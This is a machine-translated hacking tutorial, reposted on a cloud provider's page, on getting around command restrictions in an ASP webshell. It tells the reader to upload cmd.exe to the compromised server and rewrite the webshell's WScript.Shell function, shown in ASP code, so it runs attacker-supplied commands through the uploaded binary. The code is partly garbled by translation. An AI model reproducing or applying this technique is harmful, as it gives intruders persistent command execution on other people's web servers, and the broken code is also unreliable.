WEBSHELL command restriction Solution

Source: Internet
Author: User

 

Upload, and then call the CMD you uploaded to execute the command ......

 

I wanted to give a graphic tutorial, but it was too simple to explain it clearly.

 

 

1. Open ASP webmaster assistant 6.0 and click the command prompt to display "no permission"

2. Use the asp 上 function to upload a cmd.exe file (COPY the absolute path of cmd.exe to your webshelldirectory in WIN \ system32 \ cmd.exe)

3.modify your webshellto find the code for using cmd.exe.

 

Function compute shell ()

If Request ("cmd") <> "Then

DefCmd = Request ("cmd ")

Else

DefCmd = "Dir" & Session ("FolderPath ")

End If

SI ="

"

SI = SI &""

SI = SI &""

<Br> SI = SI & server. createobject ("wscript. shell" cmd.exe c ("cmd.exe/c" & DefCmd). stdout. readall

<Br> SI = SI & Chr (13) & "Rar command line compression example: c: \ progra ~ 1 \ winrar \ rar.exe a d: \ web \ test \ web1.rar d: \ web \ test \ web1"

Response. Write SI

End Function

 

Modified to the downloaded code www.2cto.com.

 

Function compute shell ()

If Request ("cmd") <> "Then

DefCmd = Request ("cmd ")

Else

DefCmd = "Dir" & Session ("FolderPath ")

End If

SI = ""

SI = SI &""

SI = SI &""

<Br> SI = SI & server. createobject ("wscript. shell" cmd.exe c ("the absolute path of cmd.exe to be uploaded/c" & DefCmd). stdout. readall

<Br> SI = SI & Chr (13) & "Rar command line compression example: c: \ progra ~ 1 \ winrar \ rar.exe a d: \ web \ test \ web1.rar d: \ web \ test \ web1

"

Response. Write SI

End Function

 

 

 

For everyone to see clearly, we can put forward the modification.

 

Original:

SI = SI & server. createobject ("wscript. shell" cmd.exe c ("cmd.exe/c" & DefCmd). stdout. readall

Modify:

SI = SI & server. createobject ("wscript. shell" cmd.exe c ("You want to upload the absolute path of cmd.exe/c" & DefCmd). stdout. readall

 

 

 

For example, if the directory you uploaded is D: \ web \ www \ cmd.exe, change it:

SI = SI & server. createobject ("wscript. shell" cmd.exe c ("D: \ web \ www \ cmd.exe/c" & DefCmd). stdout. readall

 

 

In this way, you can use the WEBSHELL command prompt ......

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.